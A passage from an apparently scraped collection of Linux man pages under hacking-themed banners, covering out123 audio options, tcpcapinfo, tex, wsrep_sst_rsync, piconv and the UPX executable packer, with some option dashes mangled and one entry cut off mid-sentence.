Write output as WAV file file , or standard output if - is or the empty string used as file name. You can also use –au and –cdr for AU and CDR format, respectively. Note that WAV/AU writing to non-seekable files or redirected stdout needs some thought. The header is written with the first actual data. The result of decoding nothing to WAV/AU is a file consisting just of the header when it is seekable and really nothing when not (not even a header). Correctly writing data with prophetic headers to stdout is no easy business. This shortcut is equivalent to ‘-o wav -a file’.

- -au file
Write to file in SUN audio format. If - or the empty string is used as the filename, the AU file is written to stdout. See paragraph about WAV writing for header fun with non-seekable streams. This shortcut is equivalent to ‘-o au -a file’.

- -cdr file
Write to file as a CDR (CD-ROM audio, more correctly CDDA for Compact Disc Digital Audio). If - is or the empty string used as the filename, the CDR file is written to stdout. This shortcut is equivalent to ‘-o cdr -a file’.

-r rate, - -rate rate
Set sample rate in Hz (default: 44100). If this does not match the actual input sampling rate, you get changed pitch. Might be intentional;-)

-R rate, - -inputrate rate
Set input sample rate to a different value. This triggers resampling if the output rate is indeed different. See - -resample.

- -speed factor
Speed up/down playback by that factor using resampling. See - -resample.

- -resample method
This chooses the method for resampling between differing sampling rates or to apply a change in tempo. You can choose between two variants of the syn123 resampler: fine (the default) and dirty. The fine one features 108 dB dynamic range and at worst-case 84% bandwidth. The dirty one uses a bit less CPU time (not that much, though) by reducing the dynamic range to 72 dB with worst-case bandwidth of 85%. The exact properties vary with the sampling rate ratio, as there is interpolation of filter coefficients involved.

-c count, - -channels count
Set channel count to given value.

-C count, - -inputch count
Set input channel count to a differnt value than for output. This probably means you want some remixing. Also see - -mix.

-e enc, - -encoding enc
Choose output sample encoding. Possible values look like f32 (32-bit floating point), s32 (32-bit signed integer), u32 (32-bit unsigned integer) and the variants with different numbers of bits (s24, u24, s16, u16, s8, u8) and also special variants like ulaw and alaw 8-bit. See the output of out123’s longhelp for actually available encodings. Default is s16.

- -endian choice
Select output endianess (byte order). Choice is big, little, or native, which is the default. The processing can only work in native mode, so you need to specify input or output byte order if that does not match your machine. This also sets the input endianess if that is not set separately. See also - -inputend and - -byteswap.

-E enc, - -inputenc enc
Specify input encoding different from output encoding for conversion.

- -inputend choice
Select input endianess (byte order). By default it is the same as output byte order. See - -endian.

- -byteswap
A switch to trigger swapping of byte order just before output, after any other transformations. This works on top of any endianess you specify with

-m, - -mono"
Set for single-channel audio (default is two channels, stereo).

–stereo
Select stereo output (2 channels, default).

- -list-encodings
List known encoding short and long names to standard output.

- -mix matrix
Specify a mixing matrix between input and output channels as linear factors, comma separated list for the input channel factors for output channel 1, then output channel 2, and so forth. The default is a unit matrix if channel counts match, so for 3 channels the equivalent of both channels with halved amplitude, so ‘- -mix 0.5,0.5’. For splitting mono to stereo, it is ‘- -mix 1,1’ top keep the symmetry.

- -filter coeff
Apply digital filter(s) before pre-amplification (see - -preamp) with the coefficient list coeff as

b_0,…,b_N,a_0,…,a_N where a_0=1 is mandatory and perhaps helps orientation a bit. Multiple filters are separated by ‘:’.

-P dbvalue - -preamp dbvalue
Enable a pre-amplification stage that amplifies the signal with the given value in dB before output.

- -offset value
Apply a PCM offset (floating point value scaled in [-1:1] in the pre-amplification stage. Normally, you would do that to correct a known DC offset in a recording.

- -clip mode
Select clipping mode: ‘soft’ or ‘hard’ for forced clipping also for floating point output, ‘implicit’ (default) for implied hard clipping during conversion where necessary.

- -dither
Enable dithering for conversions to integer. If you insist. This is just some un-spectacular TPDF dither. For some people, that is not fancy enough. Most people cannot be bothered that way or the other.

- -test-format
Check if given format is supported by given driver and device (in command line before encountering this), silently returning 0 as exit value if it is the case.

- -test-encodings
Print out the short names of encodings supported with the current setup.

- -query-format
If the selected driver and device communicate some default accepted format, print out a command line fragment for out123 setting that format, always in that order: - -rate <r> - -channels <c> - -encoding <e>

-o h, - -headphones
Direct audio output to the headphone connector (some hardware only; AIX, HP, SUN).

-o s, - -speaker
Direct audio output to the speaker (some hardware only; AIX, HP, SUN).

-o l, - -lineout
Direct audio output to the line-out connector (some hardware only; AIX, HP, SUN).

-b size, - -buffer size
Use an audio output buffer of size Kbytes. This is useful to bypass short periods of heavy system activity, which would normally cause the audio output to be interrupted. You should specify a buffer size of at least 1024 (i.e. 1 Mb, which equals about 6 seconds of usual audio data) or more; less than about 300 does not make much sense. The default is 0, which turns buffering off.

- -preload fraction
Wait for the buffer to be filled to fraction before starting playback (fraction between 0 and 1). You can tune this prebuffering to either get sound faster to your ears or safer uninterrupted web radio. Default is 0.2 (changed from 1 since version 1.23).

- -devbuffer seconds
Set device buffer in seconds; <= 0 means default value. This is the small buffer between the application and the audio backend, possibly directly related to hardware buffers.

- -timelimit samples
Set playback time limit in PCM samples if set to a value greater than zero. out123 will stop reading from stdin or playing from the generated wave table after reaching that number of samples.

- -seconds seconds
Set time limit in seconds instead.

- -source name
Choose the signal source: ‘file’ (default) for playback of the given file(s) on the command line or standard input if there are none, or one of the generators ‘wave’ (see - -wave-freq),

geiger (see - -geiger-activity), or just ‘white’ for some white noise.

- -wave-freq frequencies
Set wave generator frequency or list of those with comma separation for enabling a generated test signal instead of standard input. Empty values repeat the previous one.

- -wave-pat patterns
Set the waveform patterns of the generated waves as comma-separated list. Choices include sine, square, triangle, sawtooth, gauss, pulse, and shot. Empty values repeat the previous one.

- -wave-phase phases
Set waveform phase shift(s) as comma-separated list, negative values inverting the pattern in time and empty value repeating the previous. There is also - -wave-direction overriding the negative bit.

- -wave-direction
Set wave direction explicitly (the sign counts).

- -wave-sweep frequency
Sweep a generated wave to the given frequency, from first one specified for - -wave-freq, using the first wave pattern and direction, too.

- -sweep-time seconds
Set frequency sweep duration in seconds if > 0. This defaults to the configured time limit if set, otherwise one second, as endless sweeps are not sensible.

- -sweep-count count
Set timelimit to exactly produce that many (smooth) sweeps

- -sweep-type type
Set sweep type: lin(ear) for linear, qua(d) (default) for quadratic, or exp(onential) for an exponential change of frequency with time.

- -sweep-hard
Disable post-sweep smoothing for periodicity.

- -genbuffer bytes
Set the buffer size (limit) for signal generators, if > 0 (default), this enforces a periodic buffer also for non-periodic signals, benefit: less runtime CPU overhead, as everything is precomputed as enforced periodic signal.

- -wave-limit samples
This is an alias for - -genbuffer.

- -pink-rows number
Activate pink noise source and choose rows for the algorithm (<1 chooses default). The generator follows code provided by Phil Burk (http://softsynth.com) and uses the Gardner method.

- -geiger-activity number
This configures the simulation of a Geiger-Mueller counter as source, with the given numer as average events per second. Play with it. It’s fun!

-t, - -test
Test mode. The audio stream is read, but no output occurs.

-v, - -verbose
Increase the verbosity level.

-q, - -quiet
Quiet. Suppress diagnostic messages.

- -aggressive
Tries to get higher priority

-T, –realtime
Tries to gain realtime priority. This option usually requires root privileges to have any effect.

-?, - -help
Shows short usage instructions.

- -longhelp
Shows long usage instructions.

- -version
Print the version string.

AUTHORS

Maintainer:

Thomas Orgis <[email protected]>, <[email protected]>

Creator (ancestry of code inside mpg123):

Michael Hipp

Uses code or ideas from various people, see the AUTHORS file accompanying the source code.

LICENSE

out123 is licensed under the GNU Lesser/Library General Public License, LGPL, version 2.1 .

WEBSITE

http://www.mpg123.org
http://sourceforge.net/projects/mpg123

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2019 - Linux cli command tcpcapinfo

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tcpcapinfo and provides detailed information about the command tcpcapinfo, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tcpcapinfo.

NAME 🖥️ tcpcapinfo 🖥️

Pcap file dissector for debugging broken pcap files

SYNOPSIS

tcpcapinfo [-flags] [-flag [value]] [–option-name[[=| ]value]] <pcap_file(s)>

tcpcapinfo is a tool for decoding the structure of a pcap(3) file with a focus on finding broken pcap files and determining how two related pcap files might differ.

DESCRIPTION

tcpcapinfo will first print out the pcap_file_header_t in human readable form followed by a per-packet summary including the pcap_pkthdr_t and simple checksum value of the packet.

OPTIONS

Enable debugging output. This option may appear up to 1 times. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  0 through 5

The default number for this option is:

0

If configured with –enable-debug, then you can specify a verbosity level for debugging output. Higher numbers increase verbosity.

Print version information.

Display usage information and exit.

Pass the extended usage information through a pager.

EXIT STATUS

One of the following exit values will be returned:

Successful program execution.

The operation failed or the command syntax was not valid.

libopts had an internal operational error. Please report it to [email protected]. Thank you.

AUTHORS

Copyright 2000-2012 Aaron Turner Copyright 2013 Fred Klassen - AppNeta For support please use the [email protected] mailing list. The latest version of this software is always available from: http://tcpreplay.appneta.com/

COPYRIGHT

Copyright (C) 2000-2012 Aaron Turner and Fred Klassen all rights reserved. This program is released under the terms of the GNU General Public License, version 3 or later.

BUGS

Please send bug reports to: [email protected]

NOTES

This manual page was AutoGen-erated from the tcpcapinfo option definitions.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2020 - Linux cli command tex

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tex and provides detailed information about the command tex, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tex.

NAME 🖥️ tex 🖥️

text formatting and typesetting

SYNOPSIS

tex [options] [*&format] [file|*commands]

DESCRIPTION

Run the TeX typesetter on file, usually creating file.dvi. If the file argument has no extension, “.tex” will be appended to it. Instead of a filename, a set of TeX commands can be given, the first of which must start with a backslash. With a &format argument TeX uses a different set of precompiled commands, contained in format.fmt; it is usually better to use the -fmt format option instead.

TeX formats the interspersed text and commands contained in the named files and outputs a typesetter independent file (called DVI, which is short for DeVice Independent). TeX’s capabilities and language are described in The TeXbook. TeX is normally used with a large body of precompiled macros, and there are several specific formatting systems, such as LaTeX, which require the support of several macro files.

This version of TeX looks at its command line to see what name it was called under. If they exist, then both initex and virtex are symbolic links to the tex executable. When called as initex (or when the -ini option is given) it can be used to precompile macros into a .fmt file. When called as virtex it will use the plain format. When called under any other name, TeX will use that name as the name of the format to use. For example, when called as tex the tex format is used, which is identical to the plain format. The commands defined by the plain format are documented in The TeXbook. Other formats that are often available include latex and amstex.

The non-option command line arguments to the TeX program are passed to it as the first input line. (But it is often easier to type extended arguments as the first input line, since UNIX shells tend to gobble up or misinterpret TeX’s favorite symbols, like backslashes, unless you quote them.) As described in The TeXbook, that first line should begin with a filename, a *

2021 - Linux cli command wsrep_sst_rsync

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wsrep_sst_rsync and provides detailed information about the command wsrep_sst_rsync, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wsrep_sst_rsync.

NAME 🖥️ wsrep_sst_rsync 🖥️

rsync-based state snapshot transfer

DESCRIPTION

Use: rsync-based state snapshot transfer.

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2022 - Linux cli command piconv

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command piconv and provides detailed information about the command piconv, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the piconv.

NAME 🖥️ piconv 🖥️

  • iconv(1), reinvented in perl

SYNOPSIS

piconv [-f from_encoding] [-t to_encoding] [-p|–perlqq|–htmlcref|–xmlcref] [-C N|-c] [-D] [-S scheme] [-s string|file…] piconv -l piconv -r encoding_alias piconv -h

DESCRIPTION

piconv is perl version of iconv, a character encoding converter widely available for various Unixen today. This script was primarily a technology demonstrator for Perl 5.8.0, but you can use piconv in the place of iconv for virtually any case.

piconv converts the character encoding of either STDIN or files specified in the argument and prints out to STDOUT.

Here is the list of options. Some options can be in short format (-f) or long (–from) one.

-f,–from from_encoding
Specifies the encoding you are converting from. Unlike iconv, this option can be omitted. In such cases, the current locale is used.

-t,–to to_encoding
Specifies the encoding you are converting to. Unlike iconv, this option can be omitted. In such cases, the current locale is used. Therefore, when both -f and -t are omitted, piconv just acts like cat.

-s,–string string
uses string instead of file for the source of text.

-l,–list
Lists all available encodings, one per line, in case-insensitive order. Note that only the canonical names are listed; many aliases exist. For example, the names are case-insensitive, and many standard and common aliases work, such as “latin1” for “ISO-8859-1”, or “ibm850” instead of “cp850”, or “winlatin1” for “cp1252”. See Encode::Supported for a full discussion.

-r,–resolve encoding_alias
Resolve encoding_alias to Encode canonical encoding name.

-C,–check N
Check the validity of the stream if N = 1. When N = -1, something interesting happens when it encounters an invalid character.

-c
Same as -C 1.

-p,–perlqq
Transliterate characters missing in encoding to \x{HHHH} where HHHH is the hexadecimal Unicode code point.

–htmlcref
Transliterate characters missing in encoding to &#NNN; where NNN is the decimal Unicode code point.

–xmlcref
Transliterate characters missing in encoding to &#xHHHH; where HHHH is the hexadecimal Unicode code point.

-h,–help
Show usage.

-D,–debug
Invokes debugging mode. Primarily for Encode hackers.

-S,–scheme scheme
Selects which scheme is to be used for conversion. Available schemes are as follows:

from_to
Uses Encode::from_to for conversion. This is the default.

decode_encode
Input strings are **decode()**d then **encode()**d. A straight two-step implementation.

perlio
The new perlIO layer is used. NI-S’ favorite. You should use this option if you are using UTF-16 and others which linefeed is not $/.

Like the -D option, this is also for Encode hackers.

SEE ALSO

iconv (1) locale (3) Encode Encode::Supported Encode::Alias PerlIO

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2023 - Linux cli command upx-ucl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command upx-ucl and provides detailed information about the command upx-ucl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the upx-ucl.

NAME 🖥️ upx-ucl 🖥️

compress or expand executable files

SYNOPSIS

upx [ command ] [ options ] filename

ABSTRACT

The Ultimate Packer for eXecutables Copyright (c) 1996-2024 Markus Oberhumer, Laszlo Molnar & John Reiser https://upx.github.io

UPX is a portable, extendable, high-performance executable packer for several different executable formats. It achieves an excellent compression ratio and offers *very* fast decompression. Your executables suffer no memory overhead or other drawbacks for most of the formats supported, because of in-place decompression.

DISCLAIMER

UPX comes with ABSOLUTELY NO WARRANTY; for details see the file COPYING.

Please report all problems or suggestions to the authors. Thanks.

SECURITY CONTEXT

IMPORTANT NOTE: UPX inherits the security context of any files it handles.

This means that packing, unpacking, or even testing or listing a file requires the same security considerations as actually executing the file.

Use UPX on trusted files only!

DESCRIPTION

UPX is a versatile executable packer with the following features:

- secure: as UPX is documented Open Source since many years any relevant Security/Antivirus software is able to peek inside UPX compressed apps to verify them - excellent compression ratio: typically compresses better than Zip, use UPX to decrease the size of your distribution ! - very fast decompression: more than 500 MB/sec on any reasonably modern machine - no memory overhead for your compressed executables for most of the supported formats because of in-place decompression - safe: you can list, test and unpack your executables. Also, a checksum of both the compressed and uncompressed file is maintained internally. - universal: UPX can pack a number of executable formats, including Windows programs and DLLs, macOS apps and Linux executables - portable: UPX is written in portable endian-neutral C++ - extendable: because of the class layout its very easy to support new executable formats or add new compression algorithms - free: UPX is distributed with full source code under the GNU General Public License v2+, with special exceptions granting the free usage for commercial programs

You probably understand now why we call UPX the “ultimate” executable packer.

COMMANDS

Compress

This is the default operation, eg. upx yourfile.exe will compress the file specified on the command line.

Decompress

All UPX supported file formats can be unpacked using the -d switch, eg. upx -d yourfile.exe will uncompress the file you’ve just compressed.

Test

The -t command tests the integrity of the compressed and uncompressed data, eg. upx -t yourfile.exe check whether your file can be safely decompressed. Note, that this command doesn’t check the whole file, only the part that will be uncompressed during program execution. This means that you should not use this command instead of a virus checker.

List

The -l command prints out some information about the compressed files specified on the command line as parameters, eg upx -l yourfile.exe shows the compressed / uncompressed size and the compression ratio of yourfile.exe.

OPTIONS

-q: be quiet, suppress warnings

-q -q (or -qq): be very quiet, suppress errors

-q -q -q (or -qqq): produce no output at all

–help: prints the help

–version: print the version of UPX

–exact: when compressing, require to be able to get a byte-identical file after decompression with option -d. [NOTE: this is work in progress and is not supported for all formats yet. If you do care, as a workaround you can compress and then decompress your program a first time - any further compress-decompress steps should then yield byte-identical results as compared to the first decompressed version.]

-k: keep backup files

-o file: write output to file

[ …more docs need to be written… - type `upx –help’ for now ]

COMPRESSION LEVELS & TUNING

UPX offers ten different compression levels from -1 to -9, and –best. The default compression level is -8 for files smaller than 512 KiB, and -7 otherwise.

  • Compression levels 1, 2 and 3 are pretty fast.

  • Compression levels 4, 5 and 6 achieve a good time/ratio performance.

  • Compression levels 7, 8 and 9 favor compression ratio over speed.

  • Compression level –best may take a long time.

Note that compression level –best can be somewhat slow for large files, but you definitely should use it when releasing a final version of your program.

Quick info for achieving the best compression ratio:

  • Try upx –brute –no-lzma myfile.exe or even upx –ultra-brute –no-lzma myfile.exe.

  • The option –lzma enables LZMA compression, which compresses better but is *significantly slower* at decompression. You probably do not want to use it for large files. (Note that –lzma is automatically enabled by –all-methods and –brute, use –no-lzma to override.)

  • Try if –overlay=strip works.

  • For win32/pe programs there’s –strip-relocs=0. See notes below.

OVERLAY HANDLING OPTIONS

Info: An “overlay” means auxiliary data attached after the logical end of an executable, and it often contains application specific data (this is a common practice to avoid an extra data file, though it would be better to use resource sections).

UPX handles overlays like many other executable packers do: it simply copies the overlay after the compressed image. This works with some files, but doesn’t work with others, depending on how an application actually accesses this overlaid data.

–overlay=copy Copy any extra data attached to the file. [DEFAULT] –overlay=strip Strip any overlay from the program instead of copying it. Be warned, this may make the compressed program crash or otherwise unusable. –overlay=skip Refuse to compress any program which has an overlay.

ENVIRONMENT VARIABLE

The environment variable UPX can hold a set of default options for UPX. These options are interpreted first and can be overwritten by explicit command line parameters. For example:

for DOS/Windows: set UPX=-9 –compress-icons#0 for sh/ksh/zsh: UPX="-9 –compress-icons=0"; export UPX for csh/tcsh: setenv UPX “-9 –compress-icons=0”

Under DOS/Windows you must use ‘#’ instead of ‘=’ when setting the environment variable because of a COMMAND.COM limitation.

Not all of the options are valid in the environment variable - UPX will tell you.

You can explicitly use the –no-env option to ignore the environment variable.

NOTES FOR THE SUPPORTED EXECUTABLE FORMATS

NOTES FOR ATARI/TOS

This is the executable format used by the Atari ST/TT, a Motorola 68000 based personal computer which was popular in the late ’80s. Support of this format is only because of nostalgic feelings of one of the authors and serves no practical purpose :-). See https://freemint.github.io for more info.

Packed programs will be byte-identical to the original after uncompression. All debug information will be stripped, though.

Extra options available for this executable format:

–all-methods Compress the program several times, using all available compression methods. This may improve the compression ratio in some cases, but usually the default method gives the best results anyway.

NOTES FOR BVMLINUZ/I386

Same as vmlinuz/i386.

NOTES FOR DOS/COM

Obviously UPX won’t work with executables that want to read data from themselves (like some commandline utilities that ship with Win95/98/ME).

Compressed programs only work on a 286+.

Packed programs will be byte-identical to the original after uncompression.

Maximum uncompressed size: ~65100 bytes.

Extra options available for this executable format:

–8086 Create an executable that works on any 8086 CPU. –all-methods Compress the program several times, using all available compression methods. This may improve the compression ratio in some cases, but usually the default method gives the best results anyway. –all-filters Compress the program several times, using all available preprocessing filters. This may improve the compression ratio in some cases, but usually the default filter gives the best results anyway.

NOTES FOR DOS/EXE

dos/exe stands for all “normal” 16-bit DOS executables.

Obviously UPX won’t work with executables that want to read data from themselves (like some command line utilities that ship with Win95/98/ME).

Compressed programs only work on a 286+.

Extra options available for this executable format:

–8086 Create an executable that works on any 8086 CPU. –no-reloc Use no relocation records in the exe header. –all-methods Compress the program several times, using all available compression methods. This may improve the compression ratio in some cases, but usually the default method gives the best results anyway.

NOTES FOR DOS/SYS

Compressed programs only work on a 286+.

Packed programs will be byte-identical to the original after uncompression.

Maximum uncompressed size: ~65350 bytes.

Extra options available for this executable format:

–8086 Create an executable that works on any 8086 CPU. –all-methods Compress the program several times, using all available compression methods. This may improve the compression ratio in some cases, but usually the default method gives the best results anyway. –all-filters Compress the program several times, using all available preprocessing filters. This may improve the compression ratio in some cases, but usually the default filter gives the best results anyway.

NOTES FOR DJGPP2/COFF

First of all, it is recommended to use UPX *instead* of strip. strip has the very bad habit of replacing your stub with its own (outdated) version. Additionally UPX corrects a bug/feature in strip v2.8.x: it will fix the 4 KiB alignment of the stub.

UPX includes the full functionality of stubify. This means it will automatically stubify your COFF files. Use the option –coff to disable this functionality (see below).

UPX automatically handles Allegro packfiles.

The DLM format (a rather exotic shared library extension) is not supported.

Packed programs will be byte-identical to the original after uncompression. All debug information and trailing garbage will be stripped, though.

Extra options available for this executable format:

–coff Produce COFF output instead of EXE. By default UPX keeps your current stub. –all-methods Compress the program several times, using all available compression methods. This may improve the compression ratio in some cases, but usually the default method gives the best results anyway. –all-filters Compress the program several times, using all available preprocessing filters. This may improve the compression ratio in some cases, but usually the default filter gives the best results anyway.

NOTES FOR LINUX [general]

Introduction

Linux/386 support in UPX consists of 3 different executable formats, one optimized for ELF executables (“linux/elf386”), one optimized for shell scripts (“linux/sh386”), and one generic format (“linux/386”). We will start with a general discussion first, but please also read the relevant docs for each of the individual formats. Also, there is special support for bootable kernels - see the description of the vmlinuz/386 format.

General user’s overview

Running a compressed executable program trades less space on a ``permanent storage medium (such as a hard disk, floppy disk, CD-ROM, flash memory, EPROM, etc.) for more space in one or more ``temporary storage media (such as RAM, swap space, /tmp, etc.). Running a compressed executable also requires some additional CPU cycles to generate the compressed executable in the first place, and to decompress it at each invocation. How much space is traded? It depends on the executable, but many programs save 30% to 50% of permanent disk space. How much CPU overhead is there? Again, it depends on the executable, but decompression speed generally is at least many megabytes per second, and frequently is limited by the speed of the underlying disk or network I/O. Depending on the statistics of usage and access, and the relative speeds of CPU, RAM, swap space, /tmp, and file system storage, then invoking and running a compressed executable can be faster than directly running the corresponding uncompressed program. The operating system might perform fewer expensive I/O operations to invoke the compressed program. Paging to or from swap space or /tmp might be faster than paging from the general file system. ``Medium-sized programs which access about 1/3 to 1/2 of their stored program bytes can do particularly well with compression. Small programs tend not to benefit as much because the absolute savings is less. Big programs tend not to benefit proportionally because each invocation may use only a small fraction of the program, yet UPX decompresses the entire program before invoking it. But in environments where disk or flash memory storage is limited, then compression may win anyway. Currently, executables compressed by UPX do not share RAM at runtime in the way that executables mapped from a file system do. As a result, if the same program is run simultaneously by more than one process, then using the compressed version will require more RAM and/or swap space. So, shell programs (bash, csh, etc.) and ``make might not be good candidates for compression. UPX recognizes three executable formats for Linux: Linux/elf386, Linux/sh386, and Linux/386. Linux/386 is the most generic format; it accommodates any file that can be executed. At runtime, the UPX decompression stub re-creates in /tmp a copy of the original file, and then the copy is (re-)executed with the same arguments. ELF binary executables prefer the Linux/elf386 format by default, because UPX decompresses them directly into RAM, uses only one exec, does not use space in /tmp, and does not use /proc. Shell scripts where the underlying shell accepts a ``-c argument can use the Linux/sh386 format. UPX decompresses the shell script into low memory, then maps the shell and passes the entire text of the script as an argument with a leading ``-c.

General benefits:

- UPX can compress all executables, be it AOUT, ELF, libc4, libc5, libc6, Shell/Perl/Python/… scripts, standalone Java .class binaries, or whatever… All scripts and programs will work just as before. - Compressed programs are completely self-contained. No need for any external program. - UPX keeps your original program untouched. This means that after decompression you will have a byte-identical version, and you can use UPX as a file compressor just like gzip. [ Note that UPX maintains a checksum of the file internally, so it is indeed a reliable alternative. ] - As the stub only uses syscalls and isnt linked against libc it should run under any Linux configuration that can run ELF binaries. - For the same reason compressed executables should run under FreeBSD and other systems which can run Linux binaries. [ Please send feedback on this topic ]

General drawbacks:

- It is not advisable to compress programs which usually have many instances running (like `sh or `make) because the common segments of compressed programs wont be shared any longer between different processes. - `ldd and `size wont show anything useful because all they see is the statically linked stub. Since version 0.82 the section headers are stripped from the UPX stub and `size doesnt even recognize the file format. The file patches/patch-elfcode.h has a patch to fix this bug in `size and other programs which use GNU BFD.

General notes:

- As UPX leaves your original program untouched it is advantageous to strip it before compression. - If you compress a script you will lose platform independence - this could be a problem if you are using NFS mounted disks. - Compression of suid, guid and sticky-bit programs is rejected because of possible security implications. - For the same reason there is no sense in making any compressed program suid. - Obviously UPX wont work with executables that want to read data from themselves. E.g., this might be a problem for Perl scripts which access their _ _DATA_ _ lines. - In case of internal errors the stub will abort with exitcode 127. Typical reasons for this to happen are that the program has somehow been modified after compression. Running `strace -o strace.log compressed_file will tell you more.

NOTES FOR LINUX/ELF386

Please read the general Linux description first.

The linux/elf386 format decompresses directly into RAM, uses only one exec, does not use space in /tmp, and does not use /proc.

Linux/elf386 is automatically selected for Linux ELF executables.

Packed programs will be byte-identical to the original after uncompression.

How it works:

For ELF executables, UPX decompresses directly to memory, simulating the mapping that the operating system kernel uses during exec(), including the PT_INTERP program interpreter (if any). The brk() is set by a special PT_LOAD segment in the compressed executable itself. UPX then wipes the stack clean except for arguments, environment variables, and Elf_auxv entries (this is required by bugs in the startup code of /lib/ld-linux.so as of May 2000), and transfers control to the program interpreter or the e_entry address of the original executable. The UPX stub is about 1700 bytes long, partly written in assembler and only uses kernel syscalls. It is not linked against any libc.

Specific drawbacks:

- For linux/elf386 and linux/sh386 formats, you will be relying on RAM and swap space to hold all of the decompressed program during the lifetime of the process. If you already use most of your swap space, then you may run out. A system that is “out of memory” can become fragile. Many programs do not react gracefully when malloc() returns 0. With newer Linux kernels, the kernel may decide to kill some processes to regain memory, and you may not like the kernels choice of which to kill. Running /usr/bin/top is one way to check on the usage of swap space.

Extra options available for this executable format:

(none)

NOTES FOR LINUX/SH386

Please read the general Linux description first.

Shell scripts where the underling shell accepts a ``-c’’ argument can use the Linux/sh386 format. UPX decompresses the shell script into low memory, then maps the shell and passes the entire text of the script as an argument with a leading ``-c’’. It does not use space in /tmp, and does not use /proc.

Linux/sh386 is automatically selected for shell scripts that use a known shell.

Packed programs will be byte-identical to the original after uncompression.

How it works:

